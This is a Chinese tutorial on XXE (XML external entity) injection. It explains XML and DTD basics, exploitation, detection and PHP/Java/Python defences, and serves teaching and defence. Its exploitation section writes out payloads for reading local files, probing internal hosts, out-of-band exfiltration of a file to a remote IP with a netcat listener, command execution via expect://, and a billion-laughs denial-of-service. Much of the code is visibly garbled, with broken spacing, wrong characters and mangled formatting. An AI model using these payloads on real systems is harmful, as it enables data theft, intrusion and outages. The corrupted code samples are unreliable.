认识XXE漏洞

什么是XXE漏洞?
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
如果应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么此引用很有可能会受到XXE的攻击。
image.png
先来认识一下XML
XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML,XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
XML与HTML的区别
HTML用于表现数据,关注数据的表现形式,XML用于存储和传输数据,关注数据本身。
HTML的标签是预定义的,而XML的标签是自定义的,或者说,任意的。
XML语法更严格,其标签必须闭合且正确嵌套,大小写敏感,属性值必须加引号,保留连续空白符。
<?xml version=”1.0”encoding=”UTF-8”standalone=”yes”?> 称为 XML prolog,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
XML的基础知识
XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)东西控制的:

  1. <?!DOCTYPE message[
  2. <!ELEMENT messagereceiversenderheadermsg)>
  3. <!ELEMENT receiver(#PCDATA)>
  4. <!ELEMENT sender(#PCDATA)><!ELEMENT header(#PCDATA)>
  5. <!ELEMENT msg(#PCDATA)>]>

XML的基础知识
上面这个DTD 就定义了XML的根元素是message,然后跟元素下面有一些子元素,那么XML到时候必须像下面这么写

  1. <message>
  2. <receiver>Myself</receiver>
  3. <sender>Someone</sender>
  4. <header>TheReminder</header>
  5. <msg>This is an amazing book</msg>
  6. </message>

DTD需要注意的点:
XML元素以形如foo的标签开始和结束,如果元素内部出现如<的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用&lt;&gt;&amp;&apos;&quot;替换<>&’”
实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
XML的基础知识

  1. <?xml version="1.0"?>
  2. <!DOCTYPE foo[
  3. <!ELEMENT foo ANY>
  4. <!ENTITY xxe"test">]>
  5. <creds>
  6. <user>&xxe;</user>
  7. <pass>mypass</pass>
  8. </creds>

image.png
案例:
image.png

  1. <? xml version="1.0"?>
  2. <! DOCTYPE foo [
  3. <! ENTITY % test SYSTEM "file:///c:/temp/test1. dtd">
  4. % test,
  5. ]>
  6. <creds>
  7. <user>& xxe:</user>
  8. <pass>mypass</pass>
  9. </creds>
  10. //引用公用DTD
  11. <!DOCTYPE 根元素名称PUBLIC"DTD标识名"“公用DTD的URI">

image.png
image.png
实体的分类-通用实体
用&实体名;引用的实体,他在DTD中定义,在XML文档中引用

  1. <? xml version="1.0"encoding="utf-8"?>
  2. <! DOCTYPE updateProfile [<! ENTITY file SYSTEM "file:///c:/windows/win. ini"> ]>
  3. <updateProfile>
  4. <firstname>Joe</firstname>
  5. <lastname>& file;</lastname>
  6. </updateProfile>

实体的分类-参数实体

  1. 使用%实体名(这里面空格不能少)在DTD中定义,并且只能在DTD中使用%实体名:引用
  2. 只有在DTD文件中,参数实体的声明才能引用其他实体
  3. 和通用实体一样,参数实体也可以外部引用

    1. <? xml version="1.0"encoding="ISO-8859-1"?>
    2. <! DOCTYPE foo [
    3. <! ENTITY % test SYSTEM "file:///c:/temp/test1. dtd">
    4. % test;
    5. ]>
    6. <creds>
    7. <user>& xxe;</user>
    8. <pass>mypass</pass>
    9. </creds>

    image.png
    先引用再读取

    利用XXE漏洞

    XXE漏洞常见的一些利用方式:

  4. 利用普通XXE读取文件/访问网络

    1. <?php
    2. $body = file_get_contents("php://input");
    3. $xml = simplexml_load_string(Sbody); print_r($xml);
    4. ?>
    5. <? xml version="1.0"encoding="UTF-8"?>
    6. <! DOCTYPE root [
    7. <! ENTITY remote SYSTEM "http://127.0.0.1/">]>
    8. <root>&remote;</root>
  5. 利用参数XXE读取文件/访问网络

    1. <? xml version="1.0"?>
    2. <! DOCTYPE a [
    3. <! ENTITY % d SYSTEM "http://127.0.0.1/test2. dtd">
    4. %d;
    5. ]>
    6. <root>&b;</root>
    7. <! ENTITY b SYSTEM "http://127.0.0.1/">
  6. 无回显读取本地敏感文件(Blind OOB XXE) ```xml <! DOCTYPE convert [ <! ENTITY % remote SYSTEM “http://127.0.0.1/test2. dtd”> % remote;% int;% send; ]> <!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=file:///c:/temp/flag. txt”> <! ENTITY % int “<! ENTITY % send SYSTEM ‘ http://192.168.3.83:9999?p=%file;'>">

nc -Ivwp 9999

  1. 利用:<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/26802498/1649217236904-70caefcc-eb70-456c-a531-6cb5da48a4e5.png#clientId=ua6e98727-c126-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=122&id=u0098e1cb&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=549&originalType=binary&ratio=1&rotation=0&showTitle=false&size=33932&status=done&style=none&taskId=u2e539e23-9bc2-4197-ac69-b12153a8c7a&title=&width=439.2)
  2. 4. 其他一些利用方式
  3. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/26802498/1649221539438-c912294e-12ba-4d78-9c2b-28e0215666d4.png#clientId=ua6e98727-c126-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=214&id=ud2ba1e9e&margin=%5Bobject%20Object%5D&name=image.png&originHeight=268&originWidth=728&originalType=binary&ratio=1&rotation=0&showTitle=false&size=58523&status=done&style=none&taskId=ub168e692-980d-481d-a762-6ffff86c459&title=&width=582.4)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/26802498/1649221572458-406fcc40-0fe7-4b15-98fb-332ac78c7fe9.png#clientId=ua6e98727-c126-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=269&id=uf60eb5c1&margin=%5Bobject%20Object%5D&name=image.png&originHeight=336&originWidth=646&originalType=binary&ratio=1&rotation=0&showTitle=false&size=40457&status=done&style=none&taskId=uf8ab45fa-be44-4a24-a4df-7f72f278199&title=&width=516.8)
  4. 1HTTP 内网主机与端口探测
  5. ```xml
  6. <?xml version="1.0"encoding="UTF-8"?>
  7. <!DOCTYPE root[
  8. <!ENTITY remote SYSTEM"http://127.0.0.1/">]>

(2)命令执行
由于PHP的expect并不是默认安装扩展,如果安装了这个expect扩展我们就能直接利用XXE进行RCE

  1. <!DOCTYPE root[<!ENTITY cmd SYSTEM"expect://id">]>
  2. <dir>
  3. <file>&cmd:</file>
  4. </dir>

(3)DOS攻击

  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz[
  3. <!ENTITY lol"lol">
  4. <!ENTITY Iol2"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY Iol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY Iol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY Iol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY Iol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY Iol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  6. <lolz>&lol8;</lolz>

XXE漏洞的发现

一.尝试注入特殊字符
尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据

  1. 单双引号,”。XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
  2. 尖括号<>。XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
  3. 注释符<!—XML使用<!—This is a comment—>作注释。
  4. &。&用于引用实体。
  5. CDATA 分隔符]]>。<![CDATA[foo]]>中的内容不被parser解析,提前闭合引发异常

PHP中解析XML相关语句
使用simplexml_load_file()解析xml
simplexml_load_file(string,class,options,ns,is_prefix)
image.png

  1. <?php
  2. $body = file_get_contents("php://input");
  3. $xml = simplexml_load_string($body); print_r($xml);
  4. ?>
  5. <message>
  6. <receiver>Myself</receiver>
  7. <sender>Someone</sender>
  8. <header>TheReminder</header>
  9. <msg>This is an amazing book</msg>
  10. </message>

漏洞实战

CLTPHP5.5.3
image.png
源码分析:
image.png

image.png

修复与防御XXE漏洞

一 使用开发语言提供的禁用外部实体的方法

  1. PHP:
    1. libxml_disable_entity_loader(true);
  2. JAVA
    1. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
  3. Python
    1. from Ixml import etree
    2. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

二 过滤用户提交的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
三 不允许XML中含有自己定义的DTD